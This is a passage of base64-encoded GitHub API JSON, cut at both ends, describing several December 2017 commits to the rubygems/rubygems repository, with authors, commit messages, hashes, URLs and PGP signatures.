JodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiOTcxNmQ3NzA5NzhjNjk1NTQ4YmUzY2M1OTQ3NzA3OTliMGVlYzE2MyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85NzE2ZDc3MDk3OGM2OTU1NDhiZTNjYzU5NDc3MDc5OWIwZWVjMTYzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0Lzk3MTZkNzcwOTc4YzY5NTU0OGJlM2NjNTk0NzcwNzk5YjBlZWMxNjMifV19LHsic2hhIjoiOTcxNmQ3NzA5NzhjNjk1NTQ4YmUzY2M1OTQ3NzA3OTliMGVlYzE2MyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMDI6MzQ6MzhaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQwMjozNDozOFoifSwibWVzc2FnZSI6IlJldmVydCBcIklnbm9yZWQgZmFpbGluZyBtYXRyaXggd2l0aCBidW5kbGVyIHRlc3RzXCJcblxuVGhpcyByZXZlcnRzIGNvbW1pdCAwYTQ5YjZkMzY1ZTFhZmZkMzg0OWFkNDkxZTEwNzg5ZTgyOWZmNGRmLiIsInRyZWUiOnsic2hhIjoiNWZlMjU4ZjhmNDgwMWVmYTBjYmQ2ZDI5NTI5YjQ2YmQ4NDJmNjUwOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzVmZTI1OGY4ZjQ4MDFlZmEwY2JkNmQyOTUyOWI0NmJkODQyZjY1MDkifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy85NzE2ZDc3MDk3OGM2OTU1NDhiZTNjYzU5NDc3MDc5OWIwZWVjMTYzIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzk3MTZkNzcwOTc4YzY5NTU0OGJlM2NjNTk0NzcwNzk5YjBlZWMxNjMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOTcxNmQ3NzA5NzhjNjk1NTQ4YmUzY2M1OTQ3NzA3OTliMGVlYzE2MyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85NzE2ZDc3MDk3OGM2OTU1NDhiZTNjYzU5NDc3MDc5OWIwZWVjMTYzL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiNTBiN2E3MTFhNDE5ZDQ1M2YwMDRlOTBlYTJmZGIzZDgyNWNkZjViZCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81MGI3YTcxMWE0MTlkNDUzZjAwNGU5MGVhMmZkYjNkODI1Y2RmNWJkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzUwYjdhNzExYTQxOWQ0NTNmMDA0ZTkwZWEyZmRiM2Q4MjVjZGY1YmQifV19LHsic2hhIjoiNTBiN2E3MTFhNDE5ZDQ1M2YwMDRlOTBlYTJmZGIzZDgyNWNkZjViZCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMDE6MDg6MDhaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQwMTowODowOFoifSwibWVzc2FnZSI6InJha2UgdXBkYXRlX21hbmlmZXN0IiwidHJlZSI6eyJzaGEiOiJkMTIxN2MyOWIzODVkNmNkNWU1ZjdjNjA2OWNkZjk2NTdmYjZmNTcyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZDEyMTdjMjliMzg1ZDZjZDVlNWY3YzYwNjljZGY5NjU3ZmI2ZjU3MiJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzUwYjdhNzExYTQxOWQ0NTNmMDA0ZTkwZWEyZmRiM2Q4MjVjZGY1YmQiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblxuaVFFekJBQUJDQUFkRmlFRTUwTFI5MEpPby8zcEl2ZG0rYzhUUVhKaytzSUZBbG84V3ZnQUNna1ErYzhUUVhKa1xuK3NMMXJnZ0F4QlZsa0hvc3RRSytXRzJzRFpZUmkwWFY1eEVRQ1pHQzJFZVUxd3pOZUh5SlV0UmdaaUxoM2J2UFxuVitsRWtkdm1lRXJxamJQYzhGSW8zbE5zcTB0UnhQV0EwVzRvWHFDN2Jya0lrREZFKytGeEE0clE2RVI0cGRUS1xuOFVXNGIzUmlGMGR5SWVyZDU4eDNTWkVtOXREclFJSDAyZmhTNFRwcjFleThwV0VPZStsK2RjN2FFMnloN2pTdVxuUkk4aHdmdUdZNlM0K0VuWGtQR3hEYmxWeENhc1lodWNReEhjbW02KzNYV29LbFhJdk9hejM1VDIycFE1NDNyU1xuY3MwMFBlK1B3ekhLRThTcVJyUStZMHBlRk5iKy95Y1oxbmtkZGh5c2ZDNGgxb3JHRzROYkhwK3N2Y2pwb3pnaVxuVm52MkI3YkpuYTIrVjkzbW9TUDQybEFNMGdrOFhnPT1cbj1YM3ZSXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBkMTIxN2MyOWIzODVkNmNkNWU1ZjdjNjA2OWNkZjk2NTdmYjZmNTcyXG5wYXJlbnQgZGY1NDEwYjBlYjZhNmY3ZjlkZDhkYWYwZGNlMDc2NDhmMTE5NTE3MFxuYXV0aG9yIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEzOTA0ODg4ICswOTAwXG5jb21taXR0ZXIgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTM5MDQ4ODggKzA5MDBcblxucmFrZSB1cGRhdGVfbWFuaWZlc3RcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzUwYjdhNzExYTQxOWQ0NTNmMDA0ZTkwZWEyZmRiM2Q4MjVjZGY1YmQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNTBiN2E3MTFhNDE5ZDQ1M2YwMDRlOTBlYTJmZGIzZDgyNWNkZjViZCIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81MGI3YTcxMWE0MTlkNDUzZjAwNGU5MGVhMmZkYjNkODI1Y2RmNWJkL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZGY1NDEwYjBlYjZhNmY3ZjlkZDhkYWYwZGNlMDc2NDhmMTE5NTE3MCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kZjU0MTBiMGViNmE2ZjdmOWRkOGRhZjBkY2UwNzY0OGYxMTk1MTcwIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2RmNTQxMGIwZWI2YTZmN2Y5ZGQ4ZGFmMGRjZTA3NjQ4ZjExOTUxNzAifV19LHsic2hhIjoiZGY1NDEwYjBlYjZhNmY3ZjlkZDhkYWYwZGNlMDc2NDhmMTE5NTE3MCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMDA6Mzc6NDJaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMi0yMlQwMDozNzo0MloifSwibWVzc2FnZSI6IlRvIHVzZSBidW5kbGVyLTEuMTYuMSIsInRyZWUiOnsic2hhIjoiZGQ3MTRiZGFlZGY0ODBhMTUxYWYzY2RjNzMxMGRlMjY3NTE4NDZkZiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2RkNzE0YmRhZWRmNDgwYTE1MWFmM2NkYzczMTBkZTI2NzUxODQ2ZGYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9kZjU0MTBiMGViNmE2ZjdmOWRkOGRhZjBkY2UwNzY0OGYxMTk1MTcwIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvOFU5WUFDZ2tRK2M4VFFYSmtcbitzSUw4d2dBbzdVL2Z6WkVqWHBBQjRvbE1ITDZHTlVqRmJhb2NRNFIzdUJ6NG52d2o4bmhvL2lXUEVpZDdMNVRcbjJEaVVKNEtFUEJYaUJqcTc3NER4SzUwR204NFV1OW9KYy9oYzY2UXliZTllYVVaSHNTMndxWDZCajVXR1dIWnpcblJnbW1ZVXd3NlJJTFFqY3pTc2hwcGZhU1JSZUpmYnNQbmxQREdaVzJsTkRjVjhscnlqVUxFNmdoU2JIY2dXVEhcbmhhUUJQczMxK0tkbDNIaUNwdzA5RUoraFR3V0lMY1lpdWdqRjNHT1ZKWGJvM1lxczdSOVJFb0RVUDZGdWV2WFVcbnNDWjRBaWU2R1RwTnhEY0RhUGNYVzhRLzMxTWVRYW4zb2NZdFhHSjVJeGxkay9PK3owREhFbVdScjNWTGZhTWZcblVXN2dZTmJvajRjb1JyTTJxNlh0Ky9qWWVvSGxJdz09XG49cFFVb1xuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZGQ3MTRiZGFlZGY0ODBhMTUxYWYzY2RjNzMxMGRlMjY3NTE4NDZkZlxucGFyZW50IDgxNGVhN2E0YTAwOTg5NjZkZDdlY2QyZDljYWQzZmJmMTYxNWYyZTBcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzkwMzA2MiArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEzOTAzMDYyICswOTAwXG5cblRvIHVzZSBidW5kbGVyLTEuMTYuMVxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGY1NDEwYjBlYjZhNmY3ZjlkZDhkYWYwZGNlMDc2NDhmMTE5NTE3MCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kZjU0MTBiMGViNmE2ZjdmOWRkOGRhZjBkY2UwNzY0OGYxMTk1MTcwIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RmNTQxMGIwZWI2YTZmN2Y5ZGQ4ZGFmMGRjZTA3NjQ4ZjExOTUxNzAvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI4MTRlYTdhNGEwMDk4OTY2ZGQ3ZWNkMmQ5Y2FkM2ZiZjE2MTVmMmUwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzgxNGVhN2E0YTAwOTg5NjZkZDdlY2QyZDljYWQzZmJmMTYxNWYyZTAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvODE0ZWE3YTRhMDA5ODk2NmRkN2VjZDJkOWNhZDNmYmYxNjE1ZjJlMCJ9XX0seyJzaGEiOiI4MTRlYTdhNGEwMDk4OTY2ZGQ3ZWNkMmQ5Y2FkM2ZiZjE2MTVmMmUwIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTIwVDIxOjQ0OjM3WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0yMFQyMTo0NDozN1oifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzIxMTggLSBNU1AtR3JlZzp0ZXN0X3VwZGF0ZXMsIHI9ZHVja2luYXRvclxuXG5VcGRhdGUgZm9yIGNvbXBhdGliaWx0eSB3aXRoIG5ldyBtaW5pd